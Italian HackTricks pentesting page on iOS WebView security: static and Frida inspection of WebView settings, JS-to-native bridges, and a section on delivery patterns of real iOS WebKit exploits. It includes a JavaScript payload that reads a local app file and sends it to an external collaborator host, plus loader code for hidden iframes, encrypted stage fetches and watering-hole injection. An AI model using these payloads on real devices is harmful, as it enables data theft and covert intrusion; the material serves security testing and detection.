iOS WebViews

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Il codice di questa pagina è stato estratto da here. Controlla la pagina per ulteriori dettagli.

Tipi di WebViews

Le WebViews sono utilizzate all’interno delle applicazioni per visualizzare contenuti web in modo interattivo. Vari tipi di WebViews offrono funzionalità e caratteristiche di sicurezza diverse per le applicazioni iOS. Ecco una breve panoramica:

  • UIWebView, che non è più raccomandata a partire da iOS 12 a causa della mancata possibilità di disabilitare JavaScript, rendendola suscettibile a iniezione di script e attacchi di Cross-Site Scripting (XSS).

  • WKWebView è l’opzione preferita per incorporare contenuti web nelle app, offrendo un maggiore controllo sui contenuti e sulle funzionalità di sicurezza. JavaScript è abilitato di default, ma può essere disabilitato se necessario. Supporta inoltre funzionalità per impedire a JavaScript di aprire automaticamente finestre e garantisce che tutti i contenuti vengano caricati in modo sicuro. Inoltre, l’architettura di WKWebView minimizza il rischio che la corruzione della memoria influisca sul processo principale dell’app.

  • SFSafariViewController offre un’esperienza di navigazione web standardizzata all’interno delle app, riconoscibile dal suo layout specifico che include un campo indirizzo di sola lettura, pulsanti di condivisione e navigazione, e un collegamento diretto per aprire i contenuti in Safari. A differenza di WKWebView, JavaScript non può essere disabilitato in SFSafariViewController, che condivide anche cookie e dati con Safari, mantenendo la privacy dell’utente rispetto all’app. Deve essere mostrato in modo evidente secondo le linee guida dell’App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Riepilogo dell’esplorazione della configurazione

Panoramica dell’analisi statica

Durante l’esame delle configurazioni di WebViews, ci si concentra su due tipi principali: UIWebView e WKWebView. Per identificare queste WebViews all’interno di un binario si usano comandi che cercano riferimenti a classi specifiche e metodi di inizializzazione.

  • UIWebView Identificazione
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Questo comando aiuta a individuare istanze di UIWebView cercando stringhe di testo correlate nel binario.

  • Identificazione di WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Analogamente, per WKWebView, questo comando cerca nel binario stringhe di testo indicative del suo utilizzo.

Inoltre, per trovare come viene inizializzato un WKWebView, viene eseguito il seguente comando, mirato alla firma del metodo relativa alla sua inizializzazione:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verifica della configurazione di JavaScript

Per WKWebView, è evidenziato che disabilitare JavaScript è una best practice a meno che non sia necessario. Il binario compilato viene cercato per confermare che la proprietà javaScriptEnabled sia impostata su false, assicurando che JavaScript sia disabilitato:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Only Secure Content Verification

WKWebView offre la capacità di identificare problemi di mixed content, a differenza di UIWebView. Questo viene verificato usando la proprietà hasOnlySecureContent per assicurarsi che tutte le risorse della pagina siano caricate tramite connessioni sicure. La ricerca nel binario compilato viene eseguita come segue:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Approfondimenti sull’Analisi Dinamica

L’analisi dinamica prevede l’ispezione dell’heap per individuare istanze di WebView e le loro proprietà. Per questo scopo viene utilizzato uno script chiamato webviews_inspector.js, rivolto alle istanze di UIWebView, WKWebView e SFSafariViewController. Registra informazioni sulle istanze trovate, incluse le URL e le impostazioni relative a JavaScript e al contenuto sicuro.

L’ispezione dell’heap può essere condotta usando ObjC.choose() per identificare le istanze di WebView e controllare le proprietà javaScriptEnabled e hasonlysecurecontent.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

Lo script viene eseguito con:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Risultati principali:

  • Le istanze di WebViews vengono individuate e ispezionate con successo.
  • L’abilitazione di JavaScript e le impostazioni di contenuto sicuro vengono verificate.

Questo riepilogo racchiude i passaggi e i comandi critici per analizzare le configurazioni di WebView tramite approcci statici e dinamici, concentrandosi su funzionalità di sicurezza come l’abilitazione di JavaScript e il rilevamento di mixed content.

Gestione dei protocolli in WebView

Il trattamento del contenuto in WebViews è un aspetto critico, specialmente quando si gestiscono vari protocolli come http(s)://, file:// e tel://. Questi protocolli permettono il caricamento sia di contenuti remoti sia locali all’interno delle app. Si sottolinea che, quando si carica contenuto locale, bisogna prendere precauzioni per impedire agli utenti di influenzare il nome o il percorso del file e di modificare il contenuto stesso.

WebViews offrono diversi metodi per il caricamento dei contenuti. Per UIWebView, ormai deprecato, si usano metodi come loadHTMLString:baseURL: e loadData:MIMEType:textEncodingName:baseURL:. WKWebView, invece, impiega loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: e loadRequest: per i contenuti web. Metodi come pathForResource:ofType:, URLForResource:withExtension: e init(contentsOf:encoding:) sono tipicamente utilizzati per caricare file locali. Il metodo loadFileURL:allowingReadAccessToURL: è particolarmente rilevante per la sua capacità di caricare uno specifico URL o una directory nella WebView, potenzialmente esponendo dati sensibili se viene specificata una directory.

Per trovare questi metodi nel codice sorgente o nel binario compilato, possono essere usati comandi come i seguenti:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Per quanto riguarda l’accesso ai file, UIWebView lo consente universalmente, mentre WKWebView introduce le impostazioni allowFileAccessFromFileURLs e allowUniversalAccessFromFileURLs per gestire l’accesso da file URLs, entrambe impostate su false per impostazione predefinita.

Un esempio di script Frida è fornito per ispezionare le configurazioni di WKWebView relative alle impostazioni di sicurezza:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Infine, un esempio di payload JavaScript mirato all’exfiltrating di file locali dimostra il potenziale rischio per la sicurezza associato a WebViews configurate in modo improprio. Questo payload codifica i contenuti dei file in formato hex prima di trasmetterli a un server, evidenziando l’importanza di misure di sicurezza rigorose nelle implementazioni WebView.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Metodi nativi esposti tramite WebView

Comprendere le interfacce native di WebView in iOS

A partire da iOS 7, Apple ha fornito API per la comunicazione tra JavaScript in una WebView e oggetti nativi Swift o Objective-C. Questa integrazione è facilitata principalmente tramite due metodi:

  • JSContext: viene creata automaticamente una funzione JavaScript quando un blocco Swift o Objective-C viene collegato a un identificatore all’interno di un JSContext. Questo permette un’integrazione e una comunicazione senza soluzione di continuità tra JavaScript e codice nativo.
  • JSExport Protocol: ereditando il protocollo JSExport, proprietà native, metodi di istanza e metodi di classe possono essere esposti a JavaScript. Ciò significa che qualsiasi modifica effettuata nell’ambiente JavaScript viene rispecchiata nell’ambiente nativo, e viceversa. Tuttavia, è essenziale assicurarsi che dati sensibili non vengano esposti involontariamente tramite questo metodo.

Accesso a JSContext in Objective-C

In Objective-C, il JSContext per una UIWebView può essere recuperato con la seguente riga di codice:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Comunicazione con WKWebView

Per WKWebView, l’accesso diretto a JSContext non è disponibile. Invece, si utilizza il message passing tramite la funzione postMessage, consentendo la comunicazione da JavaScript al codice nativo. I handler per questi messaggi vengono impostati come segue, permettendo a JavaScript di interagire con l’applicazione nativa in modo sicuro:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interazione e test

JavaScript può interagire con il layer nativo definendo un script message handler. Questo consente operazioni come invocare funzioni native da una pagina web:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Per acquisire e manipolare il risultato di una chiamata a una funzione nativa, è possibile sovrascrivere la funzione di callback all’interno dell’HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

La parte nativa gestisce la chiamata JavaScript come mostrato nella classe JavaScriptBridgeMessageHandler, dove il risultato di operazioni come la moltiplicazione di numeri viene elaborato e inviato di nuovo a JavaScript per la visualizzazione o ulteriori manipolazioni:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Consegna e tecniche di staging per Web Exploit iOS

Le seguenti pattern sono state osservate nelle catene di consegna di exploit iOS per Safari/WebKit nel mondo reale e sono utili per analisi, rilevamento ed emulazione controllata.

Loader multi-stage tramite iframe nascosti

Un pattern di staging comune è quello di bloccare l’esecuzione per evitare reinfezione o analisi e poi iniettare un iframe nascosto/fuori-schermo per la fase successiva:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

Una pagina di staging minimale può iniettare il loader principale tramite document.write():

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

Le fasi del loader spesso caricano il JavaScript successivo in modo sincrono:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

Le fasi successive possono essere eseguite in un worker-like context creando un Blob URL:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Forzare Safari a raggiungere la superficie WebKit/JSC

Se una vittima apre un’esca in un altro browser, un gestore del protocollo può forzare Safari:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

Encrypted stage fetch (ECDH + AES)

Alcuni loaders cifrano gli exploit stages in transito. Un client minimale segue questo flusso: genera una ephemeral ECDH keypair, invia con POST la base64 public key, riceve encrypted blobs, deriva una AES key, decifra, quindi decodifica in JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Siti compromessi possono caricare uno script remoto che crea un iframe fuori schermo e lo limita con una sandbox pur permettendo l’esecuzione di script:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Indicatori anti-forensics post-exploitation (JS implants)

  • Staging temporaneo sotto /tmp/<uuid>.<digits>/ con sottocartelle come STORAGE, DATA e TMP.
  • Cancellazione dei crash log in /var/mobile/Library/Logs/CrashReporter/ (spesso filtrati da sottostringhe WebKit/SpringBoard).
  • Cancellazione ricorsiva di /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.

Debug dei WebView iOS

(Tutorial basato su quello di https://blog.vuplex.com/debugging-webviews)

Per fare il debug del contenuto web all’interno dei webview iOS è necessario un setup specifico che coinvolge gli strumenti per sviluppatori di Safari, dato che i messaggi inviati a console.log() non vengono visualizzati nei log di Xcode. Ecco una guida semplificata, con i passaggi e i requisiti chiave:

  • Preparazione sul dispositivo iOS: Il Safari Web Inspector deve essere attivato sul dispositivo iOS. Questo si fa andando in Settings > Safari > Advanced, e abilitando il Web Inspector.

  • Preparazione sul dispositivo macOS: Sulla tua macchina di sviluppo macOS devi abilitare gli strumenti per sviluppatori in Safari. Avvia Safari, vai su Safari > Preferences > Advanced, e seleziona l’opzione Show Develop menu.

  • Connessione e Debug: Dopo aver collegato il tuo dispositivo iOS al computer macOS e avviata l’applicazione, usa Safari sul macOS per selezionare il webview che vuoi debuggare. Vai su Develop nella barra dei menu di Safari, passa il mouse sul nome del tuo dispositivo iOS per vedere la lista delle istanze di webview, e seleziona l’istanza che desideri ispezionare. Si aprirà una nuova finestra del Safari Web Inspector per questo scopo.

Tuttavia, tieni presente le limitazioni:

  • Il debug con questo metodo richiede un dispositivo macOS poiché si basa su Safari.
  • Solo i webview nelle applicazioni caricate sul dispositivo tramite Xcode sono debuggabili. I webview nelle app installate tramite App Store o Apple Configurator non possono essere debuggati in questo modo.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks